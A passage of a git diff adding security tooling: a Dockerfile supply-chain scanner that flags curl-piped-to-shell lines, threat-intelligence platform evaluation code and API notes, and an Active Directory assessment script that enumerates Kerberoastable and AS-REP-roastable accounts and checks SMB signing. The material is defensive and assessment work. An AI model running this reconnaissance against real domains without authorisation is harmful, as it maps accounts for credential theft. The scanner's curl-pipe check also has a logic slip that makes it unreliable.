resp.status_code == 200 else "INFO", + } + except requests.RequestException: + return {"package": package_name, "exists_publicly": False} + + +def scan_dockerfile(dockerfile_path): + """Scan Dockerfile for supply chain risks.""" + findings = [] + with open(dockerfile_path) as f: + lines = f.readlines() + for i, line in enumerate(lines, 1): + stripped = line.strip() + if stripped.startswith("FROM") and ":latest" in stripped: + findings.append({ + "file": str(dockerfile_path), + "line": i, + "issue": "Using :latest tag in FROM", + "severity": "MEDIUM", + "detail": stripped, + }) + if "curl" in stripped and "| sh" in stripped or "| bash" in stripped: + findings.append({ + "file": str(dockerfile_path), + "line": i, + "issue": "Piping curl output to shell", + "severity": "HIGH", + "detail": stripped[:100], + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="CI/CD Supply Chain Attack Detection Agent") + parser.add_argument("--directory", default=".", help="Repository root to scan") + parser.add_argument("--check-packages", nargs="*", help="Package names to check for confusion") + parser.add_argument("--output", default="supply_chain_report.json") + parser.add_argument("--action", choices=[ + "workflows", "dockerfiles", "packages", "full_scan" + ], default="full_scan") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("workflows", "full_scan"): + wf_findings = scan_directory(args.directory) + report["findings"]["workflow_risks"] = wf_findings + print(f"[+] Workflow risks found: {len(wf_findings)}") + + if args.action in ("dockerfiles", "full_scan"): + df_findings = [] + for df in Path(args.directory).rglob("Dockerfile*"): + df_findings.extend(scan_dockerfile(str(df))) + report["findings"]["dockerfile_risks"] = df_findings + print(f"[+] Dockerfile risks found: {len(df_findings)}") + + if args.action in ("packages", "full_scan") and args.check_packages: + pkg_results = [] + for pkg in args.check_packages: + pkg_results.append(check_dependency_confusion(pkg)) + report["findings"]["dependency_confusion"] = pkg_results + public = [p for p in pkg_results if p.get("exists_publicly")] + print(f"[+] Dependency confusion risks: {len(public)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-suspicious-powershell-execution/LICENSE b/skills/detecting-suspicious-powershell-execution/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-suspicious-powershell-execution/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-t1003-credential-dumping-with-edr/LICENSE b/skills/detecting-t1003-credential-dumping-with-edr/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-t1003-credential-dumping-with-edr/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-t1055-process-injection-with-sysmon/LICENSE b/skills/detecting-t1055-process-injection-with-sysmon/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-t1055-process-injection-with-sysmon/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE b/skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-t1548-abuse-elevation-control-mechanism/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/eradicating-malware-from-infected-systems/LICENSE b/skills/eradicating-malware-from-infected-systems/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/eradicating-malware-from-infected-systems/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/evaluating-threat-intelligence-platforms/LICENSE b/skills/evaluating-threat-intelligence-platforms/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/evaluating-threat-intelligence-platforms/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/evaluating-threat-intelligence-platforms/references/api-reference.md b/skills/evaluating-threat-intelligence-platforms/references/api-reference.md new file mode 100644 index 00000000..fd96ba06 --- /dev/null +++ b/skills/evaluating-threat-intelligence-platforms/references/api-reference.md @@ -0,0 +1,99 @@ +# Threat Intelligence Platform Evaluation API Reference + +## MISP REST API + +```bash +# Get version +curl "https://misp.example.com/servers/getVersion.json" \ + -H "Authorization: YOUR_API_KEY" -H "Accept: application/json" + +# Search events +curl -X POST "https://misp.example.com/events/restSearch" \ + -H "Authorization: YOUR_API_KEY" -H "Content-Type: application/json" \ + -d '{"tags": ["apt28"], "limit": 50}' + +# Export STIX 2.1 +curl "https://misp.example.com/events/restSearch" \ + -H "Authorization: YOUR_API_KEY" -H "Accept: application/json" \ + -d '{"returnFormat": "stix2"}' + +# Feed management +curl "https://misp.example.com/feeds/index.json" -H "Authorization: YOUR_API_KEY" +``` + +## OpenCTI GraphQL API + +```graphql +# Get platform version +query { about { version } } + +# Search indicators +query { + indicators(filters: { key: "pattern_type", values: ["stix"] }) { + edges { node { name pattern valid_from valid_until } } + } +} + +# Get campaigns +query { + campaigns(first: 20, orderBy: created_at, orderMode: desc) { + edges { node { name first_seen last_seen objectLabel { value } } } + } +} +``` + +## ThreatConnect REST API + +```bash +# List indicators +curl "https://api.threatconnect.com/v3/indicators" \ + -H "Authorization: TC :" + +# Create indicator +curl -X POST "https://api.threatconnect.com/v3/indicators" \ + -H "Content-Type: application/json" \ + -d '{"type":"Host","hostName":"evil.example.com","rating":5,"confidence":80}' +``` + +## TAXII 2.1 API + +```bash +# Discovery +curl https://taxii.example.com/taxii2/ -H "Accept: application/taxii+json;version=2.1" + +# Get API roots +curl https://taxii.example.com/api1/ -H "Accept: application/taxii+json;version=2.1" + +# List collections +curl https://taxii.example.com/api1/collections/ -H "Accept: application/taxii+json;version=2.1" + +# Get objects from collection +curl "https://taxii.example.com/api1/collections/{id}/objects/" \ + -H "Accept: application/stix+json;version=2.1" +``` + +## TIP Evaluation Criteria Weights + +| Category | Criterion | Weight | +|----------|-----------|--------| +| Core | STIX 2.1 support | 10 | +| Core | REST API | 9 | +| Core | TAXII server | 8 | +| Core | TLP enforcement | 8 | +| Integration | SIEM integration | 9 | +| Integration | Feed ingestion | 8 | +| Integration | EDR integration | 7 | +| Operations | Sharing (ISAC) | 7 | +| Operations | Analyst workflow | 7 | +| Operations | Reporting | 6 | + +## Platform Comparison Matrix + +| Feature | MISP | OpenCTI | ThreatConnect | +|---------|------|---------|---------------| +| License | Open Source | Open Source | Commercial | +| STIX 2.1 | Native | Native | Import/Export | +| TAXII 2.1 | Yes | Yes | Yes | +| ATT&CK | Plugin | Native | Module | +| Graph Viz | Basic | Advanced | Advanced | +| SOAR | API | Connectors | Playbooks | diff --git a/skills/evaluating-threat-intelligence-platforms/scripts/agent.py b/skills/evaluating-threat-intelligence-platforms/scripts/agent.py new file mode 100644 index 00000000..338ad760 --- /dev/null +++ b/skills/evaluating-threat-intelligence-platforms/scripts/agent.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +"""Threat Intelligence Platform evaluation agent for MISP, OpenCTI, and ThreatConnect.""" + +import json +import sys +import urllib.request +import urllib.parse +import ssl +from datetime import datetime + + +class TIPEvaluator: + """Evaluate and test TIP platform capabilities.""" + + EVALUATION_CRITERIA = { + "core_functions": { + "stix_support": {"weight": 10, "description": "STIX 2.1 import/export support"}, + "taxii_server": {"weight": 8, "description": "TAXII 2.1 server capability"}, + "rest_api": {"weight": 9, "description": "RESTful API for automation"}, + "deduplication": {"weight": 7, "description": "Indicator deduplication and TTL management"}, + "tlp_enforcement": {"weight": 8, "description": "TLP classification enforcement"}, + "attack_mapping": {"weight": 6, "description": "MITRE ATT&CK integration"}, + "graph_viz": {"weight": 5, "description": "Graph visualization of relationships"}, + }, + "integrations": { + "siem_integration": {"weight": 9, "description": "SIEM bi-directional integration"}, + "edr_integration": {"weight": 7, "description": "EDR IOC push capability"}, + "soar_integration": {"weight": 7, "description": "SOAR playbook integration"}, + "firewall_integration": {"weight": 6, "description": "Firewall blocklist export"}, + "feed_ingestion": {"weight": 8, "description": "Multiple feed source support"}, + }, + "operations": { + "analyst_workflow": {"weight": 7, "description": "Investigation workflow tools"}, + "reporting": {"weight": 6, "description": "Report generation and export"}, + "sharing": {"weight": 7, "description": "Community/ISAC sharing support"}, + "rbac": {"weight": 5, "description": "Role-based access control"}, + "audit_logging": {"weight": 4, "description": "Audit trail for compliance"}, + }, + } + + def score_platform(self, platform_name, scores): + """Calculate weighted score for a TIP platform. + + scores: dict of criterion_name -> score (0-10) + """ + total_weight = 0 + weighted_score = 0 + details = [] + + for category, criteria in self.EVALUATION_CRITERIA.items(): + for criterion, info in criteria.items(): + score = scores.get(criterion, 0) + weight = info["weight"] + total_weight += weight + weighted_score += score * weight + details.append({ + "category": category, + "criterion": criterion, + "description": info["description"], + "score": score, + "weight": weight, + "weighted": score * weight, + }) + + final_score = round(weighted_score / total_weight, 1) if total_weight > 0 else 0 + return { + "platform": platform_name, + "overall_score": final_score, + "max_possible": 10, + "total_weight": total_weight, + "details": sorted(details, key=lambda x: x["weighted"], reverse=True), + "evaluation_date": datetime.utcnow().isoformat() + "Z", + } + + def compare_platforms(self, evaluations): + """Compare multiple TIP platform evaluations side by side.""" + comparison = [] + for eval_result in evaluations: + comparison.append({ + "platform": eval_result["platform"], + "overall_score": eval_result["overall_score"], + }) + comparison.sort(key=lambda x: x["overall_score"], reverse=True) + return {"ranking": comparison, "count": len(comparison)} + + +def test_misp_api(misp_url, api_key, verify_ssl=False): + """Test MISP API connectivity and basic operations.""" + ctx = ssl.create_default_context() + if not verify_ssl: + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + + results = {} + endpoints = { + "version": "/servers/getVersion.json", + "statistics": "/attributes/attributeStatistics/type/percentage.json", + "feeds": "/feeds/index.json", + } + + for name, path in endpoints.items(): + url = f"{misp_url.rstrip('/')}{path}" + req = urllib.request.Request(url, headers={ + "Authorization": api_key, + "Accept": "application/json", + }) + try: + with urllib.request.urlopen(req, context=ctx, timeout=15) as resp: + results[name] = { + "status": resp.status, + "data": json.loads(resp.read().decode()), + } + except Exception as e: + results[name] = {"status": "error", "message": str(e)} + + return {"platform": "MISP", "url": misp_url, "tests": results} + + +def test_opencti_api(opencti_url, api_token, verify_ssl=False): + """Test OpenCTI GraphQL API connectivity.""" + ctx = ssl.create_default_context() + if not verify_ssl: + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + + query = '{"query": "{ about { version } }"}' + url = f"{opencti_url.rstrip('/')}/graphql" + req = urllib.request.Request( + url, + data=query.encode(), + headers={ + "Authorization": f"Bearer {api_token}", + "Content-Type": "application/json", + }, + method="POST", + ) + try: + with urllib.request.urlopen(req, context=ctx, timeout=15) as resp: + return { + "platform": "OpenCTI", + "url": opencti_url, + "status": resp.status, + "data": json.loads(resp.read().decode()), + } + except Exception as e: + return {"platform": "OpenCTI", "url": opencti_url, "status": "error", "message": str(e)} + + +def generate_evaluation_template(): + """Generate an evaluation scoring template for a TIP assessment.""" + evaluator = TIPEvaluator() + template = {"instructions": "Score each criterion 0-10", "criteria": {}} + for category, criteria in evaluator.EVALUATION_CRITERIA.items(): + template["criteria"][category] = {} + for name, info in criteria.items(): + template["criteria"][category][name] = { + "description": info["description"], + "weight": info["weight"], + "score": 0, + } + return template + + +def generate_comparison_report(): + """Generate a sample comparison report for common TIP platforms.""" + evaluator = TIPEvaluator() + + misp_scores = { + "stix_support": 9, "taxii_server": 7, "rest_api": 9, "deduplication": 7, + "tlp_enforcement": 9, "attack_mapping": 6, "graph_viz": 5, + "siem_integration": 7, "edr_integration": 5, "soar_integration": 6, + "firewall_integration": 7, "feed_ingestion": 9, + "analyst_workflow": 5, "reporting": 5, "sharing": 10, + "rbac": 6, "audit_logging": 5, + } + + opencti_scores = { + "stix_support": 10, "taxii_server": 9, "rest_api": 9, "deduplication": 8, + "tlp_enforcement": 9, "attack_mapping": 10, "graph_viz": 10, + "siem_integration": 7, "edr_integration": 6, "soar_integration": 7, + "firewall_integration": 6, "feed_ingestion": 8, + "analyst_workflow": 8, "reporting": 7, "sharing": 8, + "rbac": 8, "audit_logging": 7, + } + + threatconnect_scores = { + "stix_support": 8, "taxii_server": 8, "rest_api": 9, "deduplication": 9, + "tlp_enforcement": 8, "attack_mapping": 8, "graph_viz": 8, + "siem_integration": 9, "edr_integration": 8, "soar_integration": 9, + "firewall_integration": 8, "feed_ingestion": 9, + "analyst_workflow": 9, "reporting": 9, "sharing": 7, + "rbac": 9, "audit_logging": 9, + } + + results = [ + evaluator.score_platform("MISP (Open Source)", misp_scores), + evaluator.score_platform("OpenCTI (Open Source)", opencti_scores), + evaluator.score_platform("ThreatConnect (Commercial)", threatconnect_scores), + ] + + comparison = evaluator.compare_platforms(results) + return { + "timestamp": datetime.utcnow().isoformat() + "Z", + "comparison": comparison, + "detailed_evaluations": results, + } + + +if __name__ == "__main__": + import os + action = sys.argv[1] if len(sys.argv) > 1 else "compare" + if action == "compare": + print(json.dumps(generate_comparison_report(), indent=2, default=str)) + elif action == "template": + print(json.dumps(generate_evaluation_template(), indent=2)) + elif action == "test-misp": + url = os.environ.get("MISP_URL", sys.argv[2] if len(sys.argv) > 2 else "") + key = os.environ.get("MISP_KEY", sys.argv[3] if len(sys.argv) > 3 else "") + if url and key: + print(json.dumps(test_misp_api(url, key), indent=2, default=str)) + else: + print("Set MISP_URL and MISP_KEY env vars or pass as arguments") + elif action == "test-opencti": + url = os.environ.get("OPENCTI_URL", sys.argv[2] if len(sys.argv) > 2 else "") + token = os.environ.get("OPENCTI_TOKEN", sys.argv[3] if len(sys.argv) > 3 else "") + if url and token: + print(json.dumps(test_opencti_api(url, token), indent=2, default=str)) + else: + print("Set OPENCTI_URL and OPENCTI_TOKEN env vars or pass as arguments") + else: + print("Usage: agent.py [compare|template|test-misp [url key]|test-opencti [url token]]") diff --git a/skills/executing-active-directory-attack-simulation/LICENSE b/skills/executing-active-directory-attack-simulation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/executing-active-directory-attack-simulation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/executing-active-directory-attack-simulation/references/api-reference.md b/skills/executing-active-directory-attack-simulation/references/api-reference.md new file mode 100644 index 00000000..b394ec15 --- /dev/null +++ b/skills/executing-active-directory-attack-simulation/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Active Directory Attack Simulation Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| impacket | >=0.11.0 | Kerberos attacks, SMB interaction, DCSync | +| ldap3 | >=2.9 | LDAP enumeration of users, groups, SPNs | + +## CLI Usage + +```bash +python scripts/agent.py \ + --dc-ip 10.10.10.1 \ + --domain corp.local \ + --username testuser \ + --password 'P@ssw0rd' \ + --output ad_report.json +``` + +## Functions + +### `ldap_enum_users(dc_ip, domain, username, password) -> list` +Enumerates all domain user objects via LDAP. Returns list of dicts with `samaccountname`, `spns`, `no_preauth`, `admin_count`. + +### `find_kerberoastable(users) -> list` +Filters user list for accounts with `servicePrincipalName` set (targets for Kerberoasting via `impacket-GetUserSPNs`). + +### `find_asrep_roastable(users) -> list` +Filters for accounts with UAC flag `DONT_REQUIRE_PREAUTH` (0x400000) set. + +### `enum_groups(dc_ip, domain, username, password) -> dict` +Queries LDAP for membership of Domain Admins, Enterprise Admins, Schema Admins, Backup Operators, Account Operators. + +### `check_smb_signing(target_ip) -> bool` +Connects to SMB on port 445 and checks whether signing is required. Returns `False` when relay attacks are possible. + +### `generate_report(users, groups, dc_ip) -> dict` +Aggregates findings into a JSON report with risk summary. + +## Output Schema + +```json +{ + "assessment_date": "ISO-8601", + "total_users": 500, + "kerberoastable_accounts": ["svc-sql", "svc-web"], + "asrep_roastable_accounts": ["old-account"], + "high_value_groups": {"Domain Admins": 5}, + "dc_smb_signing_required": true, + "risk_summary": ["CRITICAL: 2 accounts are Kerberoastable"] +} +``` + +## Key Impacket Modules + +- `impacket.krb5.kerberosv5`: TGT/TGS request functions +- `impacket.smbconnection.SMBConnection`: SMB negotiation and signing check +- `impacket.dcerpc.v5.samr`: SAM Remote Protocol for user/group enumeration +- `ldap3.Connection.search()`: LDAP search with filter and attribute list diff --git a/skills/executing-active-directory-attack-simulation/scripts/agent.py b/skills/executing-active-directory-attack-simulation/scripts/agent.py new file mode 100644 index 00000000..2de4e24a --- /dev/null +++ b/skills/executing-active-directory-attack-simulation/scripts/agent.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""Active Directory attack simulation agent using Impacket and ldap3.""" + +import argparse +import sys +import json +import logging +from datetime import datetime + +try: + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants as krb5_constants + from impacket.krb5.types import Principal, KerberosTime + from impacket.smbconnection import SMBConnection + from impacket import version as impacket_version + from impacket.dcerpc.v5 import samr, transport + from impacket.examples.GetUserSPNs import GetUserSPNs + from impacket.examples.GetNPUsers import GetNPUsers +except ImportError: + sys.exit("impacket is required: pip install impacket") + +try: + import ldap3 + from ldap3 import Server, Connection, ALL, SUBTREE +except ImportError: + sys.exit("ldap3 is required: pip install ldap3") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def ldap_enum_users(dc_ip: str, domain: str, username: str, password: str) -> list: + """Enumerate domain users via LDAP, returning accounts with SPNs and no preauth.""" + base_dn = ",".join(f"DC={part}" for part in domain.split(".")) + server = Server(dc_ip, get_info=ALL, use_ssl=False) + conn = Connection(server, user=f"{domain}\\{username}", password=password, auto_bind=True) + + conn.search( + base_dn, + "(objectClass=user)", + search_scope=SUBTREE, + attributes=[ + "sAMAccountName", "servicePrincipalName", "userAccountControl", + "memberOf", "adminCount", "pwdLastSet", "lastLogon", + ], + ) + users = [] + for entry in conn.entries: + uac = int(str(entry.userAccountControl)) if entry.userAccountControl else 0 + spn_list = list(entry.servicePrincipalName) if entry.servicePrincipalName else [] + no_preauth = bool(uac & 0x400000) + users.append({ + "samaccountname": str(entry.sAMAccountName), + "spns": spn_list, + "no_preauth": no_preauth, + "admin_count": str(entry.adminCount) if entry.adminCount else "0", + }) + conn.unbind() + logger.info("Enumerated %d domain users via LDAP", len(users)) + return users + + +def find_kerberoastable(users: list) -> list: + """Filter users with service principal names set (Kerberoastable).""" + targets = [u for u in users if u["spns"]] + logger.info("Found %d Kerberoastable accounts", len(targets)) + return targets + + +def find_asrep_roastable(users: list) -> list: + """Filter users with Kerberos pre-authentication disabled.""" + targets = [u for u in users if u["no_preauth"]] + logger.info("Found %d AS-REP roastable accounts", len(targets)) + return targets + + +def enum_groups(dc_ip: str, domain: str, username: str, password: str) -> dict: + """Enumerate high-value group memberships via LDAP.""" + base_dn = ",".join(f"DC={part}" for part in domain.split(".")) + server = Server(dc_ip, get_info=ALL) + conn = Connection(server, user=f"{domain}\\{username}", password=password, auto_bind=True) + + high_value_groups = [ + "Domain Admins", "Enterprise Admins", "Schema Admins", + "Backup Operators", "Account Operators", + ] + results = {} + for group_name in high_value_groups: + conn.search( + base_dn, + f"(&(objectClass=group)(cn={group_name}))", + attributes=["member"], + ) + members = [] + if conn.entries: + members = list(conn.entries[0].member) if conn.entries[0].member else [] + results[group_name] = members + logger.info("Group '%s' has %d members", group_name, len(members)) + + conn.unbind() + return results + + +def check_smb_signing(target_ip: str) -> bool: + """Check if SMB signing is required on the target host.""" + try: + smb = SMBConnection(target_ip, target_ip, sess_port=445, timeout=5) + smb.negotiateSession() + signing = smb.isSigningRequired() + smb.close() + return signing + except Exception as exc: + logger.warning("SMB connect failed on %s: %s", target_ip, exc) + return True + + +def generate_report(users: list, groups: dict, dc_ip: str) -> dict: + """Compile AD assessment findings into a structured report.""" + kerberoastable = find_kerberoastable(users) + asrep = find_asrep_roastable(users) + smb_signing = check_smb_signing(dc_ip) + + report = { + "assessment_date": datetime.utcnow().isoformat(), + "total_users": len(users), + "kerberoastable_accounts": [u["samaccountname"] for u in kerberoastable], + "asrep_roastable_accounts": [u["samaccountname"] for u in asrep], + "high_value_groups": {g: len(m) for g, m in groups.items()}, + "dc_smb_signing_required": smb_signing, + "risk_summary": [], + } + if kerberoastable: + report["risk_summary"].append( + f"CRITICAL: {len(kerberoastable)} accounts are Kerberoastable" + ) + if asrep: + report["risk_summary"].append( + f"HIGH: {len(asrep)} accounts lack Kerberos pre-authentication" + ) + if not smb_signing: + report["risk_summary"].append("HIGH: SMB signing not required on DC - relay attacks possible") + return report + + +def main(): + parser = argparse.ArgumentParser(description="AD Attack Simulation Agent") + parser.add_argument("--dc-ip", required=True, help="Domain Controller IP") + parser.add_argument("--domain", required=True, help="Domain FQDN (e.g., corp.local)") + parser.add_argument("--username", required=True, help="Low-privilege domain username") + parser.add_argument("--password", required=True, help="Domain user password") + parser.add_argument("--output", default="ad_assessment.json", help="Output JSON report path") + args = parser.parse_args() + + logger.info("Starting AD attack simulation against %s", args.domain) + users = ldap_enum_users(args.dc_ip, args.domain, args.username, args.password) + groups = enum_groups(args.dc_ip, args.domain, args.username, args.password) + report = generate_report(users, groups, args.dc_ip) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/executing-diamond-model-analysis/LICENSE b/skills/executing-diamond-model-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/executing-diamond-model-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/executing-diamond-model-analysis/references/api-reference.md b/skills/executing-diamond-model-analysis/references/api-reference.md new file mode 100644 index 00000000..722f8163 --- /dev/null +++ 